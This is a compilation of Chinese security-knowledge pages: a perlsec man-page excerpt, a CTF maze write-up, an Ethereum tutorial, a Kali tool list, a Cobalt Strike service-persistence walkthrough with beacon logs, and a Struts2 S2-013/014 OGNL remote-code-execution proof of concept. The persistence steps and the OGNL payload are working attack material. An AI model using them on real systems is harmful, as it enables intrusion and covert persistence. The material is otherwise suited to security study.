} .Ve .PP 使用类似的策略可以让glob使用通配符扩展,虽然也可以用readdir。 .PP 当你虽然相信自己并没有写有问题的程序,但并不信任程序的最终使用者不会企图让它做坏事时,污染检测最为有用。此类安全检查对set-id和以其他用户身份运行的程序(如CGI)非常有用。 .PP 若连程序的作者都不可信的话,情况就不同了。当某人给你一段程序并和你说,“给,试试看。”对于此类安全问题,使用包含在Perl发行版中的Safe模块。这个模块允许程序员建立特殊的隔间,在其中所有的系统调用都被截获,并且名字空间入口被严格控制。 .Sh "Security Bugs 安全问题" .IX Subsection "Security Bugs" 除了源于赋予像脚本一样灵活的系统特权这类明显的问题,在许多Unix版本中,set-id脚本从一开始就是天生不安全的。问题出在内核的条件竞争。在内核打开文件来查看应该运行哪个解释器和当(现在已set-id)解释器回过头来重新打开文件并解释它的这两个事件之间,可疑的文件也许已经改变了,特别是当系统中有符号连接时。 .PP 幸运的是,这个内核的“特性”有时可以被关闭。不幸的是,有两个方法来关闭它。系统可以简单的宣布任何含有set-id位的脚本都是不合法的,这个显然用处不大。另一个是忽略脚本中的set-id位。如果后者被设置为真,那么当Perl注意到其它脚本中无效的setuid/gid位时,它可以模仿 setuid和setgid的机制。这是通过一个叫做suidperl的特殊程序来实现的,它在需要时自动被调用。 .PP 但是,如果内核的set-id脚本特性没有被关闭,Perl就会大声抱怨你的set-id程序是不安全的。你要么需要关闭内核的set-id脚本特性,要么为脚本制作一个C Wrapper。一个C Wrapper就是一个除了调用你的Perl程序其他什么都不干的已编译程序。已编译程序不受此内核问题的影响去找set-id脚本的麻烦。这里有一个简单的C Wrapper: .PP .Vb 6 \& #define REAL_PATH "/path/to/script" \& main(ac, av) \& char **av; \& { \& execv(REAL_PATH, av); \& } .Ve .PP 把此C Wrapper编译成可执行二进制文件,对它setuid或setgid而不是你的脚本。 .PP 近几年,软件商开始提供没有此安全问题的系统。在它们中,当内核把将要被打开的set-id脚本的名字传递给解释器时,它将不会传递可能出现问题的路径名而是传递/dev/fd/3。这是一个已经在脚本上打开的特殊文件,所以将不会出现条件竞争问题。在这些系统中,Perl需要在编译时带上-DSETUID_SCRIPTS_ARE_SECURE_NOW参数。Configure程序将自己完成这个任务,所以你永远不必要自己指出此点。现在SVR4和BSD4.4都采用此种方法来避免内核条件竞争。 .PP 在Perl 5.6.1 发行之前,suidperl的代码问题可能导致安全漏洞。 .Sh "Protecting Your Programs 保护你的程序" .IX Subsection "Protecting Your Programs" 有很多种方法可以隐藏你的Perl程序源代码,它们具有不同等级的“安全性”。 .PP 首先,你不能去掉“读”权限,因为源代码必须在被读取之后才能编译和解释。(这并不意味着CGI脚本的源代码在网上是可被读取的)所以你必须把权限设置为对外界友好的0755。这使在你本地系统上的人只能查看源代码。 .PP 一些人错误的认为这是一个安全问题。如果你的程序不安全,而你依赖人们不知道如何利用这些漏洞,这是不安全的。通常某些人在没有看源代码的情况下就可以利用这些漏洞。以隐藏来实现所谓的“安全”而不是修复漏洞,是非常不安全的。 .PP 你可以试着通过源代码过滤器(CPAN上的Filter::*)来实现加密。但是骇客有可能把它解密。你可以试着使用下面描述的字节码编译器和解释器,但是骇客有可能把它反编译。这些对想看你代码的人造成不同难度的困难。但是没有一种可以完全的避免(不光是Perl,所有语言都一样)。 .PP 如果你担心有人会通过你的程序得利,那么你可以在最低行写一个限制性的许可证来寻求法律保护。当然如果你用类似“这是某某公司的私人程序,你无权使用它”的声明来授权你的软件并发布它的话,那会是非常危险的。你应该找一个律师确定你的许可证的措辞可以在法庭上站得住脚。 .Sh "Unicode" .IX Subsection "Unicode" Unicode is a new and complex technology and one may easily overlook certain security pitfalls. See perluniintro for an overview and perlunicode for details, and \*(L"Security Implications of Unicode\*(R" in perlunicode for security implications in particular. .Sh "Algorithmic Complexity Attacks" .IX Subsection "Algorithmic Complexity Attacks" Certain internal algorithms used in the implementation of Perl can be attacked by choosing the input carefully to consume large amounts of either time or space or both. This can lead into the so-called \&\fIDenial of Service\fR (DoS) attacks. .IP "\(bu" 4 Hash Function \- the algorithm used to \*(L"order\*(R" hash elements has been changed several times during the development of Perl, mainly to be reasonably fast. In Perl 5.8.1 also the security aspect was taken into account. .Sp In Perls before 5.8.1 one could rather easily generate data that as hash keys would cause Perl to consume large amounts of time because internal structure of hashes would badly degenerate. In Perl 5.8.1 the hash function is randomly perturbed by a pseudorandom seed which makes generating such naughty hash keys harder. See \*(L"\s-1PERL_HASH_SEED\s0\*(R" in perlrun for more information. .Sp The random perturbation is done by default but if one wants for some reason emulate the old behaviour one can set the environment variable \&\s-1PERL_HASH_SEED\s0 to zero (or any other integer). One possible reason for wanting to emulate the old behaviour is that in the new behaviour consecutive runs of Perl will order hash keys differently, which may confuse some applications (like Data::Dumper: the outputs of two different runs are no more identical). .Sp \&\fBPerl has never guaranteed any ordering of the hash keys\fR, and the ordering has already changed several times during the lifetime of Perl 5. Also, the ordering of hash keys has always been, and continues to be, affected by the insertion order. .Sp Also note that while the order of the hash elements might be randomised, this \*(L"pseudoordering\*(R" should \fBnot\fR be used for applications like shuffling a list randomly (use \fIList::Util::shuffle()\fR for that, see List::Util, a standard core module since Perl 5.8.0; or the \s-1CPAN\s0 module Algorithm::Numerical::Shuffle), or for generating permutations (use e.g. the \s-1CPAN\s0 modules Algorithm::Permute or Algorithm::FastPermute), or for any cryptographic applications. .IP "\(bu" 4 Regular expressions \- Perl's regular expression engine is so called \&\s-1NFA\s0 (Non\-Finite Automaton), which among other things means that it can rather easily consume large amounts of both time and space if the regular expression may match in several ways. Careful crafting of the regular expressions can help but quite often there really isn't much one can do (the book \*(L"Mastering Regular Expressions\*(R" is required reading, see perlfaq2). Running out of space manifests itself by Perl running out of memory. .IP "\(bu" 4 Sorting \- the quicksort algorithm used in Perls before 5.8.0 to implement the \fIsort()\fR function is very easy to trick into misbehaving so that it consumes a lot of time. Nothing more is required than resorting a list already sorted. Starting from Perl 5.8.0 a different sorting algorithm, mergesort, is used. Mergesort is insensitive to its input data, so it cannot be similarly fooled. .PP See <http://www.cs.rice.edu/~scrosby/hash/> for more information, and any computer science text book on the algorithmic complexity. .SH "SEE ALSO 参见" .IX Header "SEE ALSO" perlrun中关于清理环境变量的描述 .SH "中文版维护人" .B nan1nan1 <nan1nan1@hotmail.com> .SH 中文版最新更新 .B 2001年12月23日星期日 .SH 中文手册页翻译计划 .B http://cmpp.linuxforum.net
sec-knowleage
# A...mazeing (Network / PPC, 200) (16 solvers) Hi!. let's play old nes game. I just plugged this stuff to tcp ports for ya ... IP: amazeing.hackable.software ![schematic](img.png) In this task we were told that there is a service runnning a game and several TCP ports represent pressing various buttons on SNES controller. Connecting to the main server gave us game token and a position. Connecting to other ports and sending the token made the main server send us an OK message (or failed one). We quickly thought it may be some kind of maze or something, so we wrote a quick python script (`doit.py`) which discovers whole board using DFS - note that we had to increase stack limit. Drawing the board gives us the following image with the flag hidden on the bottom right corner: ![flag](flag.png)
sec-knowleage
sftp-server === sftp协议的服务器端程序 ## 补充说明 **sftp-server命令** 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输。 ### 语法 ```shell sftp-server ```
sec-knowleage
# Ethereum Basics 对智能合约一些基础知识的介绍。 ## Solidity > Solidity is an object-oriented programming language for writing smart contracts. It is used for implementing smart contracts on various blockchain platforms, most notably, Ethereum. It was developed by Christian Reitwiessner, Alex Beregszaszi, and several former Ethereum core contributors to enable writing smart contracts on blockchain platforms such as Ethereum. ------ from [wikipedia](https://en.wikipedia.org/wiki/Solidity) Solidity 是一种用于编写智能合约的高级语言,语法类似于 JavaScript。在以太坊平台上,Solidity 编写的智能合约可以被编译成字节码在以太坊虚拟机 EVM 上运行。 可参考 [官方网站](https://docs.soliditylang.org/en/latest/) 进行学习,不再展开介绍。 ## MetaMask 非常好用也是用的最多的以太坊钱包,头像是小狐狸标识,Chrome 提供了其插件,其不仅可以管理外部账户,而且可以便捷切换测试链网络,并且可以自定义 RPC 网络。 !!! info 一个外部账户通常由私钥文件控制,拥有私钥的用户就可以拥有对应地址的账户里的 Ether 使用权。我们通常把管理这些数字密钥的软件称为钱包,而我们所说的备份钱包其实就是备份账户的私钥文件。 ## Remix 基于浏览器的 Solidity 编译器和集成开发环境,提供了交互式界面,以及编译、调用测试、发布等一系列功能,使用十分方便。[http://remix.ethereum.org/](http://remix.ethereum.org/#optimize=false&runs=200&evmVersion=null) ## 账户 在以太坊中,一个重要的概念就是账户(Account)。 在以太坊中存在两种类型的账户,分别是外部账户(Externally Owned Account, EOA)和合约账户。 ### 外部账户 外部账户是由人创建的,可以存储以太币,是由公钥和私钥控制的账户。每个外部账户拥有一对公私钥,这对密钥用于签署交易,它的地址由公钥决定。外部账户不能包含以太坊虚拟机(EVM)代码。 一个外部账户具有以下特性 - 拥有一定的 Ether - 可以发送交易、通过私钥控制 - 没有相关联的代码 ### 合约账户 合约账户是由外部账户创建的账户,包含合约代码。合约账户的地址是由合约创建时合约创建者的地址,以及该地址发出的交易共同计算得出的。 一个合约账户具有以下特性 - 拥有一定的 Ether - 有相关联的代码,代码通过交易或者其他合约发送的调用来激活 - 当合约被执行时,只能操作合约账户拥有的特定存储 !!! note 私钥经过一种哈希算法(椭圆曲线算法 ECDSA-secp256k1 )计算生成公钥,计算公钥的 Keccak-256 哈希值,然后取最后 160 位二进制(通常表现为 40 位的 16 进制字符串)形成了地址。其中,公钥和地址都是可以公布的,而私钥,你只能自己悄悄的藏起来,不要丢失,因为你的账户中的资产也会跟着丢掉;不要被别人盗取,因为账户中的资产也会随着被盗取。所以,私钥的保存非常重要。 以太坊中,这两种账户统称为“状态对象”(存储状态)。其中外部账户存储以太币余额状态,而合约账户除了余额还有智能合约及其变量的状态。通过交易的执行,这些状态对象发生变化,而 Merkle 树用于索引和验证状态对象的更新。一个以太坊的账户包含 4 个部分: - nonce: 已执行交易总数,用来标示该账户发出的交易数量。 - balance: 账持币数量,记录账户的以太币余额。 - storageRoot: 存储区的哈希值,指向智能合约账户的存储数据区。 - codeHash: 代码区的哈希值,指向智能合约账户存储的智能合约代码。 两个外部账户之间的交易只是一个价值转移。但是从外部账户到合约账户的交易会激活合约账户的代码,允许它执行各种操作(例如转移 Token,写入内部存储,创建新的 Token ,执行一些计算,创建新的合约等)。 与外部账户不同,合约账户不能自行发起新的交易。相反,合约帐户只能触发交易以响应其他交易(从外部拥有的帐户或其他合约帐户)。 !!! note 注:合约账户和外部账户最大的不同就是它还存有智能合约。 ## 交易 以太坊的交易主要是指一条外部账户发送到区块链上另一账户的消息的签名数据包,其主要包含发送者的签名、接收者的地址以及发送者转移给接收者的以太币数量等内容。以太坊上的每一笔交易都需要支付一定的费用,用于支付交易执行所需要的计算开销。计算开销的费用并不是以太币直接计算的,而是引入 Gas 作为执行开销的基本单位,通过 GasPrice 与以太币进行换算的。 GasPrice 根据市场波动调整,避免以太币价值受市场价格的影响。交易是以太坊整体结构中的重要部分,它将以太坊的账户连接起来,起到价值的传递作用。 ### 交易费用 - Gas: 衡量一笔交易所消耗的计算资源的基本单位 - Gas Price: 一单位 Gas 所需的手续费(Ether) - Gas Limit: 交易发送者愿意为这笔交易执行所支付的最大 Gas 数量 !!! note 注:如果交易实际消耗的 Gas (Gas Used) 小于 Gas Limit, 那么执行的矿工只会收取实际计算开销(Gas Used)对应的交易手续费(Gas Used * Gas Price);而如果 Gas Used 大于 Gas Limit,那么矿工执行过程中会发现 Gas 已被耗尽而交易没有执行完成,此时矿工会回滚到程序执行前到状态,而且收取 Gas Limit 所对应的手续费(GasPrice * Gas Limit)。换句话说,**GasPrice * Gas Limit** 表示用户愿意为一笔交易支付的最高金额。 ### 交易内容 以太坊中的交易(Transaction)是指存储一条从外部账户发送到区块链上另一个账户的消息的签名数据包,它既可以是简单的转账,也可以是包含智能合约代码的消息。一条交易包含以下内容: - from: 交易发送者的地址,必填; - to: 交易接收者的地址,如果为空则意味这是一个创建智能合约的交易; - value: 发送者要转移给接收者的以太币数量 - data: 存在的数据字段,如果存在,则表明该交易是一个创建或者调用智能合约的交易; - Gas Limit: 表示交易允许消耗的最大 Gas 数量; - GasPrice: 发送者愿意支付给矿工的 Gas 单价; - nonce: 用来区别同一账户发出的不同交易的标记; - hash: 由以上信息生成的散列值(哈希值); - r、s、v: 交易签名的三个部分,由发送者的私钥对交易 hash 进行签名生成。 以上是以太坊中交易可能包含的内容,在不同场景下,交易有三种类型。 - 转帐交易 转账是最简单的一种交易,从一个账户向另一个账户发送 Ether,发送转账交易时只需要指定交易的发送者、接收者、转移的 Ether 数量即可(在客户端发送交易时,Gas Limit、Gas Price、nonce、hash、签名可以按照默认方式生成),如下所示 ```nodejs web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", to: "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f", value: 1000 }) ``` - 创建合约的交易 创建合约是指将合约部署到区块链上,这也是通过交易来完成的。创建合约时,to 字段是一个空字符串,data 字段是合约编译后的二进制代码,在之后合约被调用时,该代码的执行结果将作为合约代码,如下所示 ``` web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", data: "contract binary code" }) ``` - 执行合约的交易 该交易中,to 字段是要调用的智能合约的地址,通过 data 字段指定要调用的方法以及向该方法传入参数,如下所示 ``` web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", to: "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f", data: "hash of the invoked method signature and encoded parameters" }) ``` !!! info 根据 to、data 字段内容也可以反过来判断是什么类型的交易,然后可以继续分析。 ## Interact with Contracts - 直接通过 Remix 交互 - Remix 不能够做到自动化,所以便有开发人员做了一些工作 - Python 的 web3.py 库 - Nodejs 的 web3.js 库 - [Infura](https://infura.io/) 提供了 RPC API 供开发者调用,现支持 Ethereum、Eth2、Filecoin 使用 [Infura](https://infura.io/) 提供的 RPC API,利用 web3.py 或者 web3.js 库与其进行自动化交互 Infura 现支持如下网络的访问点: |网络 |说明 |URL| |-------------|------------------------|---------------------------------------| |Mainnet |JSON-RPC over HTTPs |https://mainnet.infura.io/v3/YOUR-PROJECT-ID | |Mainnet |JSON-RPC over websockets|wss://mainnet.infura.io/ws/v3/YOUR-PROJECT-ID| |Ropsten |JSON-RPC over HTTPs |https://ropsten.infura.io/v3/YOUR-PROJECT-ID | |Ropsten |JSON-RPC over websockets|wss://ropsten.infura.io/ws/v3/YOUR-PROJECT-ID| |Rinkeby |JSON-RPC over HTTPs |https://rinkeby.infura.io/v3/YOUR-PROJECT-ID | |Rinkeby |JSON-RPC over websockets|wss://rinkeby.infura.io/ws/v3/YOUR-PROJECT-ID| |Kovan |JSON-RPC over HTTPs |https://kovan.infura.io/v3/YOUR-PROJECT-ID | |Kovan |JSON-RPC over websockets|wss://kovan.infura.io/ws/v3/YOUR-PROJECT-ID | |Görli |JSON-RPC over HTTPs |https://goerli.infura.io/v3/YOUR-PROJECT-ID | |Görli |JSON-RPC over websockets|wss://goerli.infura.io/ws/v3/YOUR-PROJECT-ID | |Mainnet(eth2)|JSON-RPC over HTTPs |https://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@eth2-beacon-mainnet.infura.io| |pyrmont(eth2)|JSON-RPC over websockets|wss://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@eth2-beacon-mainnet.infura.io| |Filecoin |JSON-RPC over HTTPs |https://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@filecoin.infura.io| |Filecoin |JSON-RPC over websockets|wss://YOUR-PROJECT-ID:YOUR-PROJECT-SECRET@filecoin.infura.io| !!! note 注:使用时,请务必使用你的Infura仪表盘 中的项目 ID/Project ID 或 Project Secret 来替换以上 URL 中的 YOUR-PROJECT-ID 或 YOUR-PROJECT-SECRET 下面是使用 web3.py 和 Infura API 与智能合约进行交互调用合约函数选择器为 0x00774360 的函数的例子 ```python from web3 import Web3, HTTPProvider w3 = Web3(Web3.HTTPProvider("https://rinkeby.infura.io/v3/YOUR-PROJECT-ID")) contract_address = "0x31c883a9aa588d3f890c26c7844062d99444b5d6" private = "your private key" public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f" def deploy(public): txn = { 'from': Web3.toChecksumAddress(public), 'to': Web3.toChecksumAddress(contract_address), 'gasPrice': w3.eth.gasPrice, 'gas': 3000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(0, 'ether'), 'data': '0x007743600000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001a6100016100016100016100016100016100650361000161fbfbf1000000000000', } signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receipt print(deploy(public)) ``` ## tx.origin vs msg.sender - 这里区分一下 tx.origin 和 msg.sender ,msg.sender 是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。 - 给定这样一个场景如:用户通过合约 A 调合约B,此时: + 对于合约 A : tx.origin 和 msg.sender 都是用户 + 对于合约 B : tx.origin 是用户,msg.sender 是合约 A
sec-knowleage
## Kali Linux 工具清单 |[Information Gathering](Information%20Gathering/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[acccheck](Information%20Gathering/acccheck.md)|[ace-voip](Information%20Gathering/ace-voip.md)|[Amap](Information%20Gathering/Amap.md)|[Automater](Information%20Gathering/Automater.md)|[bing-ip2hosts](Information%20Gathering/bing-ip2hosts.md)|[braa](Information%20Gathering/braa.md)| |[CaseFile](Information%20Gathering/CaseFile.md)|[CDPSnarf](Information%20Gathering/CDPSnarf.md)|[cisco-torch](Information%20Gathering/cisco-torch.md)|[Cookie Cadger](Information%20Gathering/Cookie%20Cadger.md)|[copy-router-config](Information%20Gathering/copy-router-config.md)|[DMitry](Information%20Gathering/DMitry.md)| |[dnmap](Information%20Gathering/dnmap.md)|[dnsenum](Information%20Gathering/dnsenum.md)|[dnsmap](Information%20Gathering/dnsmap.md)|[DNSRecon](Information%20Gathering/DNSRecon.md)|[dnstracer](Information%20Gathering/dnstracer.md)|[dnswalk](Information%20Gathering/dnswalk.md)| |[DotDotPwn](Information%20Gathering/DotDotPwn.md)|[enum4linux](Information%20Gathering/enum4linux.md)|[enumIAX](Information%20Gathering/enumlAX.md)|[Fierce](Information%20Gathering/Fierce.md)|[Firewalk](Information%20Gathering/Firewalk.md)|[fragroute](Information%20Gathering/fragroute.md)| |[fragrouter](Information%20Gathering/fragrouter.md)|[Ghost Phisher](Information%20Gathering/Ghost-Fisher.md)|[GoLismero](Information%20Gathering/golismero.md)|[goofile](Information%20Gathering/goofile.md)|[hping3](Information%20Gathering/hping3.md)|[InTrace](Information%20Gathering/intrace.md)| |[iSMTP](Information%20Gathering/iSMTP.md)|[lbd](Information%20Gathering/lbd.md)|[Maltego Teeth](Information%20Gathering/Maltego.md)|[masscan](Information%20Gathering/masscan.md)|[Metagoofil](Information%20Gathering/Metagoofil.md)|Miranda| |[nbtscan-unixwiz](Information%20Gathering/nbtscan-unixwiz.md)|[Nmap](Information%20Gathering/Nmap.md)|ntop|p0f|Parsero|Recon-ng| |[SET](Information%20Gathering/SET.md)|smtp-user-enum|snmp-check|sslcaudit|SSLsplit|[sslstrip](Information%20Gathering/sslstrip.md)| |SSLyze|[THC-IPV6](Information%20Gathering/THC-IPV6.md)|[theHarvester](Information%20Gathering/theHarvester.md)|[TLSSLed](Information%20Gathering/TLSSLed.md)|[twofi](Information%20Gathering/twofi.md)|[URLCrazy](Information%20Gathering/URLCrazy.md)| |[Wireshark](Information%20Gathering/Wireshark.md)|[WOL-E](Information%20Gathering/WOL-E.md)|[Xplico](Information%20Gathering/Xplico.md)|[APT2](Information%20Gathering/APT2.md)|[ident-user-enum](Information%20Gathering/ident-user-enum.md)|| |[Vulnerability Analysis](Vulnerability%20Analysis/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[BBQSQL](Vulnerability%20Analysis/BBQSQL.md)|[BED](Vulnerability%20Analysis/BED.md)|[cisco-auditing-tool](Vulnerability%20Analysis/cisco-auditing-tool.md)|[cisco-global-exploiter](Vulnerability%20Analysis/cisco-global-exploiter.md)||[cisco-ocs](Vulnerability%20Analysis/cisco-ocs.md)| |[cisco-torch](Vulnerability%20Analysis/cisco-torch.md)|[copy-router-config](Vulnerability%20Analysis/copy-router-config.md)|DBPwAudit|[Doona](Vulnerability%20Analysis/Doona.md)|DotDotPwn|Greenbone Security Assistant| |GSD|HexorBase|Inguma|jSQL|Lynis|Nmap| |ohrwurm|openvas-administrator|openvas-cli|openvas-manager|openvas-scanner|Oscanner| |Powerfuzzer|sfuzz|SidGuesser|SIPArmyKnife|sqlmap|Sqlninja| |sqlsus|THC-IPV6|tnscmd10g|unix-privesc-check||Yersinia| |Exploitation Tools|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[Armitage](Exploitation%20Tools/Armitage.md)|Backdoor Factory|BeEF|cisco-auditing-tool|cisco-global-exploiter|cisco-ocs| |cisco-torch|Commix|crackle|exploitdb|jboss-autopwn|Linux Exploit Suggester| |Maltego Teeth|SET|ShellNoob|sqlmap|THC-IPV6|Yersinia| |[Wireless Attacks](Wireless%20Attacks/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |Aircrack-ng|Asleap|Bluelog|BlueMaho|Bluepot|BlueRanger| |Bluesnarfer|Bully|coWPAtty|crackle|eapmd5pass|Fern Wifi Cracker| |[Ghost Phisher](Wireless%20Attacks/Ghost-Pisher.md)|GISKismet|Gqrx|gr-scan|hostapd-wpe|kalibrate-rtl| |KillerBee|Kismet|mdk3|mfcuk|[mfoc](Wireless%20Attack/mfoc.md)|mfterm| |Multimon-NG|PixieWPS|Reaver|redfang|RTLSDR Scanner|Spooftooph| |Wifi Honey|wifiphisher|Wifitap|Wifite||| |[Forensics Tools](Forensics%20Tools/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[Binwalk](Forensics%20Tools/Binwalk.md)|[bulk-extractor](Forensics%20Tools/bulk-extractor.md)|Capstone|chntpw|Cuckoo|dc3dd| |ddrescue|DFF|diStorm3|Dumpzilla|extundelete|Foremost| |Galleta|Guymager|iPhone Backup Analyzer|p0f|pdf-parser|pdfid| |pdgmail|peepdf|RegRipper|Volatility|Xplico|| |[Web Applications](Web%20Applications/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[apache-users](Web%20Applications/apache-users.md)|Arachni|BBQSQL|BlindElephant|[Burp Suite](Web%20Applications/BurpSuite.md)|CutyCapt| |DAVTest|deblaze|DIRB|DirBuster|fimap|FunkLoad| |Gobuster|Grabber|jboss-autopwn|joomscan|jSQL|Maltego Teeth| |PadBuster|Paros|Parsero|plecost|Powerfuzzer|ProxyStrike| |Recon-ng|Skipfish|[sqlmap](Web%20Applications/splmap.md)|Sqlninja|sqlsus|ua-tester| |Uniscan|Vega|[w3af](Web%20Applications/w3af.md)|WebScarab|Webshag|WebSlayer| |WebSploit|Wfuzz|WPScan|XSSer|zaproxy|| |Stress Testing|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |DHCPig|FunkLoad|iaxflood|Inundator|inviteflood|ipv6-toolkit| |mdk3|Reaver|rtpflood|SlowHTTPTest|t50|Termineter| |THC-IPV6|THC-SSL-DOS||||| |[Sniffing & Spoofing](Sniffing-Spoofing/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[Burp Suite](Sniffing-Spoofing/Burp%20Suite.md)|[DNSChef](Sniffing-Spoofing/DNSChef.md)|[fiked](Sniffing-Spoofing/Fiked.md)|[hamster-sidejack](Sniffing-Spoofing/hamster-sidejack.md)|[HexInject](Sniffing-Spoofing/Hexinject.md)|iaxflood| |inviteflood|iSMTP|isr-evilgrade|mitmproxy|ohrwurm|protos-sip| |rebind|responder|rtpbreak|rtpinsertsound|rtpmixsound|sctpscan| |SIPArmyKnife|SIPp|SIPVicious|SniffJoke|SSLsplit|sslstrip| |THC-IPV6|VoIPHopper|WebScarab|Wifi Honey|Wireshark|xspy| |Yersinia|zaproxy|Bettercap|||| |[Password Attacks](Password%20Attacks/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[acccheck](Password%20Attacks/acccheck.md)|Burp Suite|CeWL|chntpw|cisco-auditing-tool|CmosPwd| |creddump|[crunch](Password%20Attacks/crunch.md)|DBPwAudit|findmyhash|gpp-decrypt|hash-identifier| |HexorBase|THC-Hydra|[John the Ripper](Password%20Attacks/John%20the%20Ripper.md)|[Johnny](Password%20Attacks/Johnny.md)|keimpx|Maltego Teeth| |Maskprocessor|multiforcer|Ncrack|oclgausscrack|PACK|patator| |phrasendrescher|polenum|RainbowCrack|rcracki-mt|RSMangler|SQLdict| |Statsprocessor|THC-pptp-bruter|TrueCrack|WebScarab|wordlists|zaproxy| |[hashcat](Password%20Attacks/hashcat.md)|||||| |Maintaining Access|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |CryptCat|Cymothoa|dbd|dns2tcp|http-tunnel|HTTPTunnel| |Intersect|Nishang|polenum|PowerSploit|pwnat|RidEnum| |sbd|U3-Pwn|Webshells|Weevely|Winexe|| |[Hardware Hacking](Hardware%20Hacking/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[Android SDK](Hardware%20Hacking/Android%20SDK.md)|[ApkTool](Hardware%20Hacking/ApkTool.md)|[Arduino](Hardware%20Hacking/Arduino.md)|[dex2jar](Hardware%20Hacking/dex2jar.md)|[Sakis 3G](Hardware%20Hacking/Sakis%203G.md)|[Smali](Hardware%20Hacking/Smali.md)| |[Reverse Engineering](Reverse-Engineering/list.md)|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[apktool](Reverse-Engineering/apktool.md)|dex2jar|diStorm3|edb-debugger|jad|javasnoop| |JD-GUI|OllyDbg|smali|Valgrind|YARA|| |Reporting Tools|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |CaseFile|CutyCapt|dos2unix|Dradis|KeepNote|| |MagicTree|Metagoofil|Nipper-ng|pipal|||
sec-knowleage
# 0x00 简介 权限维持以启动CS会话为例,不涉及账号隐藏等等, 常见的可以用于启动会话的权限维持方式。 Windows 1. 注册表 2. 启动项 3. 计时任务 4. 服务 5. shift或者放大镜 6. 各种劫持 7. 利用其他安装的软件 网上都有相关资料这里我就不详细讲述了,这里根据YouTube作者视频讲的"服务",所以这里我也以它为例。 # 0x01 服务 首先生成一个windows Service exe ![Cobalt Strike ](./img/17.1.png) ``` beacon> cd C:\WINDOWS\Temp\ [*] cd C:\WINDOWS\Temp\ [+] host called home, sent: 24 bytes beacon> ls [*] Tasked beacon to list files in . [+] host called home, sent: 19 bytes [*] Listing: C:\WINDOWS\Temp\ Size Type Last Modified Name ---- ---- ------------- ---- dir 11/15/2014 16:12:21 vmware-SYSTEM beacon> upload /root/beacon.exe [*] Tasked beacon to upload /root/beacon.exe as beacon.exe [+] host called home, sent: 309782 bytes beacon> shell sc create "thisisserver" binpath= "C:\WINDOWS\Temp\beacon.exe" [*] Tasked beacon to run: sc create "thisisserver" binpath= "C:\WINDOWS\Temp\beacon.exe" [+] host called home, sent: 93 bytes [+] received output: [SC] CreateService 成功 beacon> shell sc description "thisisserver" "description" [*] Tasked beacon to run: sc description "thisisserver" "description" [+] host called home, sent: 74 bytes [+] received output: [SC] ChangeServiceConfig2 成功 beacon> shell sc config "thisisserver" start= auto [*] Tasked beacon to run: sc config "thisisserver" start= auto [+] host called home, sent: 67 bytes [+] received output: [SC] ChangeServiceConfig 成功 beacon> shell net start "thisisserver" [*] Tasked beacon to run: net start "thisisserver" [+] host called home, sent: 55 bytes ``` 执行后返回一个system beacon # 0x02 文末 其实在权限维持的时候使用启动CS server 不是个好的选择,同时这种权限维持对server的免杀要求较高, 利用常用程序的dll感觉还不错。 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# S2-013/S2-014 远程代码执行漏洞 影响版本: 2.0.0 - 2.3.14.1 漏洞详情: - http://struts.apache.org/docs/s2-013.html - http://struts.apache.org/docs/s2-014.html ## 测试环境搭建 ``` docker compose build docker compose up -d ``` ## 原理与测试 Struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下: 1. none - 链接不包含请求的任意参数值(默认) 2. get - 链接只包含 GET 请求中的参数和其值 3. all - 链接包含 GET 和 POST 所有参数和其值 `<s:a>`用来显示一个超链接,当`includeParams=all`的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。 任意命令执行POC: ``` ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} // 或 ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())} ``` 